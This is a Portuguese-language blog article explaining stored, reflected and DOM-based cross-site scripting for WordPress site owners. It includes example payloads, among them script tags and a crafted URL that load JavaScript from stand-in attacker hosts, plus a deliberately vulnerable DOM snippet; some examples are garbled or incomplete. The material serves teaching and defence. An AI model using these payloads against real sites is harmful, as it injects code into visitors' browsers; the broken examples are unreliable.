Tipos de ataques Cross-Site Scripting (XSS)
Publicados: 2022-11-04Em nosso artigo anterior sobre WordPress e Cross-Site Scripting, apresentamos uma visão de alto nível sobre o que são esses tipos de ataques e como você pode evitá-los. Neste artigo, vamos nos aprofundar em alguns detalhes junto com alguns exemplos de script entre sites. Vamos lá!
XSS persistente
O XSS persistente (ou XSS armazenado) é um dos principais tipos de script entre sites. É chamado de persistente porque o que o invasor injeta é armazenado no servidor permanentemente para uso posterior. Sempre que um visitante acessa uma determinada página, o código é executado pelo navegador no carregamento ou quando uma função específica é chamada.
Exemplo de XSS persistente :
Digamos que na seção de comentários abaixo de uma postagem, alguém insira um script de alerta junto com uma resposta/opinião simples.
Great solution! It works for me.<script>alert("Some text message")</script>
Se a seção de comentários estiver vulnerável e os comentários enviados não forem limpos, esse código será salvo no banco de dados. Como resultado, a partir daí, sempre que a página for carregada (por qualquer pessoa) e o “comentário ruim” for visível junto com todos os comentários, aparecerá uma janela popup com a mensagem.
Claro, uma mensagem de alerta pode ser irritante, mas não realmente prejudicial. Mas, o que acontece se o invasor inserir um script malicioso em vez da mensagem de alerta como esta:
Great solution! It works for me.<script scr="http://attackerswebsite.com/maliciousscript.js">
Em vez de um pop-up irritante, o usuário final experimentará o ataque XSS. O dano dependerá do tipo de código executado. É por isso que os ataques Stored XSS são considerados tão perigosos. Eles atacam todos os usuários e nem exigem nenhuma entrada do usuário (barra abrindo a página em primeiro lugar).
XSS não persistente
Embora não seja tão perigoso quanto o XSS persistente, o XSS não persistente (ou reflexivo) ainda é problemático, principalmente porque é reconhecido como o tipo mais comum de ataque de script entre sites.
Essencialmente, o que acontece em um ataque XSS não persistente é que o usuário final clica em um link malicioso que o enviará para outro site que acionará alguma execução incorreta de código. O ataque é feito por meio de uma URL ou parâmetros HTTP criados e não é salvo permanentemente no banco de dados como no XSS persistente.
Mas antes de realizar um ataque não persistente, o invasor precisa identificar se um site é vulnerável a ataques XSS. Uma maneira de fazer isso é usando o mecanismo de busca interno do site. Se você inserir uma string, digamos “sapatos” para pesquisar e apertar o botão, uma função será executada, semelhante a esta:
http://exampledomain.com?query=shoes
Antes que a função seja executada, porém, a string que você inseriu é higienizada, ou pelo menos deveria ser, para que o formulário de pesquisa esteja protegido contra entradas maliciosas.
O invasor pode usar o formulário de pesquisa e tentar inserir um script como este:
<script type="text/javascript">alert("vulnerable");</script>
Caso o formulário não esteja higienizado, executará a função normalmente:
http://exampledomain.com?query=<script type="text/javascript">alert("vulnerable");</script>
Isso resultaria (neste exemplo) na exibição do pop-up de alerta. É quando o invasor sabe que o formulário de pesquisa possui uma vulnerabilidade XSS.
Exemplo de XSS não persistente
No caso de uma vulnerabilidade ser descoberta em um site, um invasor pode optar por criar uma URL semelhante a esta:
http://exampledomain.com?query=shoes<\script%20src="http://attacker-site.com/malicious-code.js"
Eles então 'mascaram' o URL para que não pareça um link 'ruim' e tentam encorajar outras pessoas a clicar nele. Normalmente, isso pode ser o envio de e-mails de spam ou talvez a inclusão de um link em um fórum.
XSS baseado em DOM
Durante um incidente de XSS (ou XSS do lado do cliente) baseado em DOM, o ataque é transmitido por meio de uma URL que contém o código malicioso.
Também é considerada uma vulnerabilidade do lado do cliente, pois é executada no navegador da vítima, mas o que acontece aqui é que uma parte do DOM é alterada, o que faz com que o cliente execute o código, sem o seu consentimento.
NOTA: O Document Object Model (DOM) é uma interface que define a estrutura de layout de uma página da Web conectando a linguagem de script à página da Web real. Para isso, permite que os desenvolvedores acessem o documento e executem operações para atualizar o conteúdo.
Exemplo de XSS baseado em DOM:
Um exemplo de ataque de script entre sites baseado em DOM pode ser demonstrado com um formulário que permite escolher uma opção, como seu país de residência. Vamos ver como isso funcionaria com o exemplo abaixo:
Select your country: <select><script> document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("country=")+8))+"</OPTION>"); document.write("<OPTION value=2>USA</OPTION>"); document.write("<OPTION value=2>Brazil</OPTION>"); </script></select>
Assim, uma página com uma opção escolhida no formulário pode ser acessada através de uma URL como:
http://localhost/?country=Lithuania
Mas se você tentar uma entrada como esta (veja abaixo), o navegador criará um objeto DOM que contém essa string e executará o script.
http://localhost/?country=Lithuania
Isso acontece porque o formulário está desprotegido e o código inicial não está pronto para nenhuma marcação HTML. Então, o que ele faz é desenhar o DOM na página e executar o script malicioso.
Ataques XSS são muito comuns. Uma maneira simples de se proteger da melhor maneira possível é sempre manter os plugins atualizados em seu site WordPress e usar um host de alta qualidade. Esperamos que esses exemplos tenham lhe dado uma ideia de como esses tipos de ataques funcionam e o que deve ser observado!